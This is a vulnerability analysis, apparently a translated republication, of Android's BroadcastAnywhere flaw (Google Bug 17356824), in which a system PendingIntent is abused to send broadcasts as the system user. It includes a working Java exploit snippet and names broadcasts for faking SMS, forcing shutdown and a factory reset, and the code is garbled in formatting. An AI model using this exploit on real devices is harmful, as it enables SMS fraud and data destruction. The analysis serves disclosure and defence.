Specific analysis of the vulnerability of Android Broadcastanywhere (Google Bug 17356824)

Source: Internet
Author: User

Specific analysis of the vulnerability of Android Broadcastanywhere (Google Bug 17356824)

Jiank (aka Low-end code farm)

Following the last Android Launchanywhere component security vulnerability, Google recently fixed a high-risk vulnerability on Android 5.0 's source code. The flaw is simply Launchanywhere's sister version of--broadcastanywhere.

Through this vulnerability, an attacker could send a broadcast as a system user. This means that attackers can ignore all the Broadcastreceiver component access restrictions. And the vulnerability has a very wide range of implications. Android 2.0+ to 4.4.x are affected.

Vulnerability analysis repair before and after code control

Broadcastanywhere and Launchanywhere Use the same principle, both use the setting UID is the system process high-privilege operation.

The same vulnerability occurs in setting's join account process, which is detailed in the "Android launchanywhere (Google Bug 7699048) vulnerability specific explanation and defense measures" article. The Broadcastanywhere vulnerability occurs before this process. Before parsing the vulnerability. Let's take a look at the front-and-back comparison of bug fixes. Specific code in the Addaccountsetting AddAccount method.

In the pre-repair code:

... private static final String key_caller_identity = "Pendingintent"; ... private void AddAccount (String accounttype) {        Bundle addaccountoptions = new Bundle ();        Mpendingintent = Pendingintent.getbroadcast (this, 0, New Intent (), 0);        Addaccountoptions.putparcelable (key_caller_identity, mpendingintent);        Addaccountoptions.putboolean (Extra_has_multiple_users, Utils.hasmultipleusers (this));        Accountmanager.get (This). AddAccount (                accounttype,                null,/* Authtokentype */                NULL,/* Requiredfeatures */                addaccountoptions,                null,                mcallback,                null/* handler */);        maddaccountcalled  = true;    }

Post-repair code such as the following

... private static final string key_caller_identity = "Pendingintent";p rivate static final String should_not_resolve = "SHO Uldn ' T resolve! ";    ... private void AddAccount (String accounttype) {Bundle addaccountoptions = new Bundle (); /* * The identityintent is for the purposes of establishing the identity * of the caller and isn ' t intended for LA     Unching activities, services * or broadcasts. * * Unfortunately for legacy reasons we still need  But * we can cripple the intent so, 3rd party authenticators can ' t * fill in addressing information and launch     arbitrary actions.    */Intent identityintent = new Intent ();    Identityintent.setcomponent (New ComponentName (Should_not_resolve, should_not_resolve));    Identityintent.setaction (Should_not_resolve);    Identityintent.addcategory (Should_not_resolve);    Mpendingintent = Pendingintent.getbroadcast (this, 0, identityintent, 0); Addaccountoptions.putparcelable (key_caller_identity, MPenDingintent);    Addaccountoptions.putboolean (Extra_has_multiple_users, Utils.hasmultipleusers (this)); Accountmanager.get (This). Addaccountasuser (AccountType, NULL,/* Authtokentype */NULL,/            * Requiredfeatures */addaccountoptions, NULL, mcallback, NULL/* handler */,    Muserhandle); maddaccountcalled = true;}

The role of mpenddingintent is mainly used as identification.

Pass the control before and after. The fix is to put the intent into the mpendingintent . Changed from the original simple New Intent () to a series of filled identityintent beforehand. This will prevent third-party authenticator (mainly Trojans) from being populated two times. This will be explained in detail later.

Note that in the Pendingintent.getbroadcast call, an "empty" intent object is passed in before the fix, which is critical for subsequent analysis.

The realization principle of peddingintent

Compare the analysis with the above code. Let's say you've got a clearer idea of the implementation of Peddingintent, so this section can be skipped. In the Penddingintent.java source file, there is a description:

/** * ... * <p>by giving a pendingintent to another application, * is granting it the right to perform th  E operation you has specified * as if the other application is yourself (with the same permissions and * identity). As such, you should is careful about how to build the pendingintent: * Almost always, for example, the base Intent you su Pply should has the component * name explicitly set to one of your own components, to ensure it is ultimately * sent ther E and nowhere else. * * <p>a pendingintent itself is simply a reference to a tokens maintained by * The system describing the original DA  Ta used to retrieve it. This means *, even if it owning application ' s process is killed, the * pendingintent itself would remain usable from  Other processes that * has been given it.  If the Creating application later re-retrieves the * Same kind of pendingintent (same operation, same Intent action, data, * Categories, and components, and same flags), it'll receIve a pendingintent * representing the same token if that's still valid, and can thus call * {@link #cancel} to remove it . * ... * ... */

In simple terms. This means that the Penddingintent object can be triggered by a pre-specified action. When this object passes (through binder) to another process (a user of different UID), the other process takes advantage of this Penddinginten object to run the specified trigger action with the identity permission of the original process. This is somewhat similar to the effect of Suid or GUIDs on Linux. In addition, because the triggered action is run by the system process, the trigger action on the Penddingintent object is still valid even if the original process is no longer present.

Peddingintent is a Parcelable object. Includes a basement mtarget member, the type is. This field is actually a Binerproxy object, and the real implementation logic is Penddingintentrecored.java. From the source code analysis. Pendingintent.getbroadcast finally calls the Getintentsender method in the activitymanagerservice . Key codes such as the following:

Public iintentsender getintentsender (int type, string packagename, IBinder token, string resultwho, int requestcode, Inten T[] intents, string[] resolvedtypes, int flags, Bundle options, int userId) {Enforcenotisolatedcaller ("Getintentsender    ");        ... synchronized (this) {int callinguid = Binder.getcallinguid ();        int origuserid = userId; UserID = Handleincominguser (Binder.getcallingpid (), Callinguid, userId, type = = Activitymanager.intent_        Sender_broadcast, False, "Getintentsender", null); ... return getintentsenderlocked (type, PackageName, Callinguid, userId, token, resultwho, Requestcode, I            Ntents, Resolvedtypes, flags, options);            } catch (RemoteException e) {throw new SecurityException (e); }}}iintentsender getintentsenderlocked (int type, String packagename, int callinguid, int userId, IBinder token , String resultwho, int requestcode,Intent[] intents, string[] resolvedtypes, int flags, Bundle options) {if (DEBUG_MU) slog.v (Tag_mu, "get        Intentsenderlocked (): uid= "+ callinguid);        Activityrecord activity = NULL;        ...        ... Pendingintentrecord.key Key = new Pendingintentrecord.key (type, packagename, activity, resultwho, Requestcode, intents, Resolvedtypes, flags, options, USERID);        Generates the Pendingintentrecord.key object weakreference<pendingintentrecord> ref based on the caller's information;        ref = Mintentsenderrecords.get (key); Pendingintentrecord REC = ref! = NULL?

Ref.get (): null; ... rec = new Pendingintentrecord (this, key, Callinguid); Finally generate Pendingintentrecord object Mintentsenderrecords.put (key, Rec.ref); Save ... return rec; and return}

Summarize the process. That is, AMS will save the generated penddingintent process (Caller) information to Pendingintentrecord.key. and maintains a Pendingintentrecord object for it, this object is a binderstub.

Pendingintent provides a series of send methods for action triggering. Finally it is called Pendingintentrecord's Send method, we directly analyze the code here:

public int Send (int code, Intent Intent, String resolvedtype,            iintentreceiver finishedreceiver, string requiredpermission) {        return Sendinner (code, Intent, Resolvedtype, Finishedreceiver,                requiredpermission, NULL, NULL, 0, 0, 0, null);    }

Follow in:

int Sendinner (int code, Intent Intent, String resolvedtype, Iintentreceiver finishedreceiver, String requiredpermis     Sion, IBinder Resultto, String resultwho, int requestcode, int flagsmask, int flagsvalues, Bundle options) {            Synchronized (owner) {if (!canceled) {sent = true;                if ((key.flags&pendingintent.flag_one_shot)! = 0) {owner.cancelintentsenderlocked (this, true);            Canceled = true; } Intent finalintent = key.requestintent! = null?            New Intent (key.requestintent): New Intent ();                if (intent! = NULL) {int changes = Finalintent.fillin (intent, key.flags);//fill intent with incoming finalintent                if ((changes&intent.fill_in_data) = = 0) {resolvedtype = Key.requestresolvedtype;            }} else {resolvedtype = Key.requestresolvedtype;  }            ...            ...          Switch (key.type) {... case activitymanager.intent_sender_broadcast:  try {//If a completion callback have been requested, require//That                                The broadcast be delivered synchronously owner.broadcastintentinpackage (Key.packagename, UID,                            Finalintent, Resolvedtype, finishedreceiver, code, NULL, NULL,                        Requiredpermission, (finishedreceiver! = null), FALSE, userId);                    Sendfinish = false; } catch (RuntimeException e) {SLOG.W (Activitymanagerservice.tag, "U                    Nable to send startactivity intent ", e);                } break;            ...            }        ... return 0; }} return activitymanager.start_canceled;


For this vulnerability we only analyze the logic of broadcast this branch can be. Found here. The finalintent is populated with the intent sent in by send. From the previous code analysis. The finalinent here is an "empty" intent. That is, Maction, Mdata,mtype, and so on are all null, which makes it almost possible to arbitrarily specify finalintent content. See FILLIN's code:

public int FillIn (Intent other, int flags) {int changes = 0; if (other.maction! = null && (maction = = NULL | |        (flags&fill_in_action)! = 0)) {maction = other.maction;    Changes |= fill_in_action;                    if (other.mdata! = NULL | | Other.mtype! = NULL) && ((Mdata = = NULL && Mtype = = null) ||        (flags&fill_in_data)! = 0)) {mdata = Other.mdata;        Mtype = Other.mtype;    Changes |= fill_in_data; } if (other.mcategories! = null && (mcategories = = NULL | | (flags&fill_in_categories)! = 0)) {if (other.mcategories! = null) {mcategories = new arrayset<s        Tring> (other.mcategories);    } changes |= fill_in_categories; } if (other.mpackage! = null && (Mpackage = = NULL | |        (flags&fill_in_package)! = 0)) {//only does this if mselector are not set. if (Mselector = = null) {Mpackage = Other.mpackage;        Changes |= fill_in_package; }}//Selector is special:it can only be set if explicitly allowed,//For the same reason as the component Nam            E. if (other.mselector! = null && (flags&fill_in_selector)! = 0) {if (mpackage = = null) {            Mselector = new Intent (other.mselector);            Mpackage = null;        Changes |= fill_in_selector; }} if (Other.mclipdata! = null && (Mclipdata = = NULL | |        (flags&fill_in_clip_data)! = 0)) {mclipdata = Other.mclipdata;    Changes |= fill_in_clip_data;  }//Component is special:it can-only-be set if explicitly allowed,//since otherwise the sender could force the    Intent somewhere the//originator didn ' t intend.        if (other.mcomponent! = null && (flags&fill_in_component)! = 0) {mcomponent = other.mcomponent;    Changes |= fill_in_component;    } mflags |= other.mflags; if (Other. Msourcebounds = null && (Msourcebounds = = NULL | |        (flags&fill_in_source_bounds)! = 0)) {msourcebounds = new Rect (other.msourcebounds);    Changes |= fill_in_source_bounds;        if (Mextras = = null) {if (Other.mextras! = null) {Mextras = new Bundle (Other.mextras);            }} else if (Other.mextras! = null) {try {bundle newb = new Bundle (Other.mextras);            Newb.putall (Mextras);        Mextras = newb; } catch (RuntimeException e) {//Modifying the extras can cause us to unparcel the contents//Of T  The He bundle, and if we do this in the system process and/or may fail.            We really should handle this (i.e., the Bundle//Impl shouldn ' t is on top of a plain map), but is now just Ignore it and keep the original contents.            :(        LOG.W ("Intent", "Failure filling in Extras", e); }} return changes;}

From the code above, we were able to arbitrarily specify all the fields except Mcomponent, which would already satisfy most of the usage scenarios.

Exploits and Harms

With the previous analysis, the exploit code is easy. Here is an example of sending a system to start a broadcast:

The exploit of broadcastanywherefinal String key_caller_identity = "Pendingintent"; Pendingintent pendingintent = options.getparcelable (key_caller_identity); Intent intent_for_broadcast = new Intent (" Android.intent.action.BOOT_COMPLETED "); Intent_for_broadcast.putextra (" Info "," I am Bad Boy "); try {    Pendingintent.send (mcontext, 0, intent_for_broadcast);} catch (Canceledexception e) {    e.printstacktrace ();}

There are actually too many available broadcasts. Another example:

    • Send Android.provider.Telephony.SMS_DELIVER can fake receive SMS.
    • The sending Android.intent.action.ACTION_SHUTDOWN can be shut down directly.
    • Send Com.google.android.c2dm.intent.RECEIVE broadcast and the device will revert to factory settings.
    • Wait a minute

Attackers can forge messages from friends or family or bank e-commerce through vulnerabilities. It's nothing like a normal text message. The average user cannot be screened at all.

In addition to fake text messages, attackers can use this vulnerability to restore factory settings, threats to users, and so on.


Combined with Luanchaynwhere and broadcastanywhere two vulnerabilities, I appropriately encapsulated a bit. Implemented a componentsuperaccessor library, interested friends can be downloaded to https://github.com/boyliang/ComponentSuperAccessor.git.

Ali Mobile security Experts advice
    • For developers. Penddingintent do not pass across processes as much as possible. Avoid permission leaks. Or try to fill the fields in pendingintent to avoid malicious redirection.
    • For users and vendors, upgrade to Android L as soon as possible;

Specific analysis of the vulnerability of Android Broadcastanywhere (Google Bug 17356824)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.